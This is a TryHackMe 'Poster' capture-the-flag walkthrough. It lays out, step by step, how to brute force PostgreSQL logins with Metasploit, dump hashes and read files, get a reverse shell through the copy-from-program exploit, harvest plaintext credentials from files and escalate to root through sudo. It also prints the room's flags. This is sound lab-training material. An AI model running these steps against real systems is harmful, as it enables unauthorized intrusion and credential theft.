Poster — TryHackMe Walkthrough
Introduction
In this walkthrough, I solved the Poster room from TryHackMe. The room focuses on PostgreSQL exploitation, credential discovery, and privilege escalation caused by insecure configurations inside the database and web application.
I started with service enumeration, gained authenticated PostgreSQL access, moved laterally between users, and finally escalated privileges to root by abusing exposed credentials and misconfigured sudo permissions.
Initial Enumeration
I started with a basic Nmap scan to identify the exposed services running on the target machine.
~$ nmap -sV 10.49.190.166
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
5432/tcp open postgresql PostgreSQL DB 9.5.8 - 9.5.10 or 9.5.17 - 9.5.23
The scan revealed three open ports:
- SSH running on port 22
- HTTP running on port 80
- PostgreSQL running on port 5432
At this stage, the PostgreSQL service immediately stood out since the room description hinted toward an RDBMS setup.
Finding Vulnerability
To interact with the PostgreSQL service, I moved into Metasploit and started looking for available PostgreSQL auxiliary modules.
msfconsole -q
After launching Metasploit, I searched for PostgreSQL-related auxiliary modules.
search auxiliary postgresql
The results displayed several PostgreSQL modules available inside Metasploit.
One module that immediately caught my attention was:
auxiliary/scanner/postgres/postgres_login
This module is used to brute force PostgreSQL credentials using common usernames and passwords.
I selected the module using:
use 4
Before running it, I checked the required configuration.
show config
The only mandatory value that needed to be configured was the target IP address.
set RHOSTS <IP>
With the configuration completed, I executed the module.
run
The scan successfully discovered valid PostgreSQL credentials:
postgres:password
Now that I had working credentials, the next step was to find a module that would allow authenticated interaction with the PostgreSQL server.
I returned back and searched for PostgreSQL auxiliary modules again.
back
search auxiliary postgresql
This time, I selected:
auxiliary/admin/postgres/postgres_sql
The module allows execution of SQL queries against the PostgreSQL server using valid credentials.
I configured the module with the discovered password and target IP.
use 6
show options
set RHOSTS <IP>
set PASSWORD password
After setting the required options, I ran the module.
run
The authentication succeeded, confirming valid access to the PostgreSQL database server.
PostgreSQL 9.5.21 on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 5.4.0-6ubuntu1~16.04.12) 5.4.0 20160609, 64-bit
Credential Discovery
After confirming authenticated access to PostgreSQL, my next objective was to dump the database user hashes.
I returned back to the Metasploit console and searched for a module related to PostgreSQL hash dumping.
back
search auxiliary scanner postgre hashdump
The search returned the PostgreSQL hashdump module, which can extract password hashes from the database.
I selected the module and configured it with the previously discovered credentials.
use 0
show options
set RHOST 10.49.190.166
set PASSWORD password
Once everything was configured, I executed the module.
run
The module successfully dumped the PostgreSQL user hashes from the server.
User Enumeration
With authenticated database access confirmed, I moved on to another PostgreSQL auxiliary module that allows reading files directly from the target system.
I went back again and searched for PostgreSQL auxiliary modules.
back
search auxiliary postgresql
From the available modules, I selected:
auxiliary/admin/postgres/postgres_readfile
Alternatively, it could also be selected directly using:
use 5
Before running the module, I checked the available options.
show options
After configuring the required parameters, I executed the module.
run
The module successfully read files from the target machine using the authenticated PostgreSQL session.
Initial Access
After confirming authenticated PostgreSQL access, the next step was to gain command execution on the target machine.
I returned back to Metasploit and searched for PostgreSQL exploit modules related to command execution.
back
search exploit postgres cmd
From the available results, I selected:
exploit/multi/postgres/postgres_copy_from_program_cmd_exec
This module allows arbitrary command execution using valid PostgreSQL credentials.
I loaded the module using:
use 0
Next, I configured the required options.
show options
set RHOST <IP>
set PASSWORD password
set LHOST tun0
Once everything was configured, I executed the exploit.
run
The exploit successfully returned a shell on the target machine.
To make the shell more stable and interactive, I upgraded it using Python PTY.
python3 -c 'import pty;pty.spawn("/bin/bash")'
Lateral Movement
After getting shell access, I started enumerating the system manually.
Inside the /home directory, I found two user folders. One of them belonged to alison, which contained the user flag, but the current user did not have permission to access it.
While checking the second user directory, I discovered a credentials file inside dark's home directory.
cd /home
cat /home/dark/credentials.txt
The file contained valid credentials for the dark user.
dark:qwerty1234#!hackme
I used the discovered password to log in through SSH for a cleaner and more stable session.
ssh [email protected]
[email protected]'s password: qwerty1234#!hackme
$
Credential Discovery
Even after switching to the dark user, I still did not have permission to access Alison’s user flag.
cat /home/alison/user.txt
cat: /home/alison/user.txt: Permission denied
At this point, I started checking the web application files for any exposed credentials or sensitive configuration files.
Inside the web root directory, I found a config.php file.
cd /var/www/html/
ls
config.php poster
I opened the configuration file to inspect its contents.
cat config.php
<?php
$dbhost = "127.0.0.1";
$dbuname = "alison";
$dbpass = "p4ssw0rdS3cur3!#";
$dbname = "mysudopassword";
?>
The file exposed valid credentials for the alison user.
Lateral Movement
Using the discovered password, I switched from the dark user to alison.
su alison
Password: p4ssw0rdS3cur3!#
After authenticating successfully, I accessed Alison’s home directory and read the user flag.
cd
cat user.txt
User Flag
THM{postgresql_fa1l_conf1gurat1on}Privilege Escalation Enumeration
With access as alison, I checked the sudo permissions assigned to the account.
sudo -l
alison@ubuntu:~$ sudo -l
[sudo] password for alison: p4ssw0rdS3cur3!#
Matching Defaults entries for alison on ubuntu:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User alison may run the following commands on ubuntu:
(ALL : ALL) ALL
The output confirmed that the alison user had full sudo privileges on the machine.
Root Access
I escalated directly to a root shell using:
sudo -s
After obtaining root access, I read the root flag.
cat /root/root.txt
Root Flag
THM{c0ngrats_for_read_the_f1le_w1th_credent1als}
Thanks for reading.
Hope this walkthrough helped you solve the room and follow the exploitation process clearly.
If you enjoyed this walkthrough, you can check out more rooms and labs here:
Esther7171 TryHackMe Walkthroughs
Poster TryHackMe Walkthrough | PostgreSQL Exploitation & Privilege Escalation was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.
SOCIAL SHARE CARD GENERATOR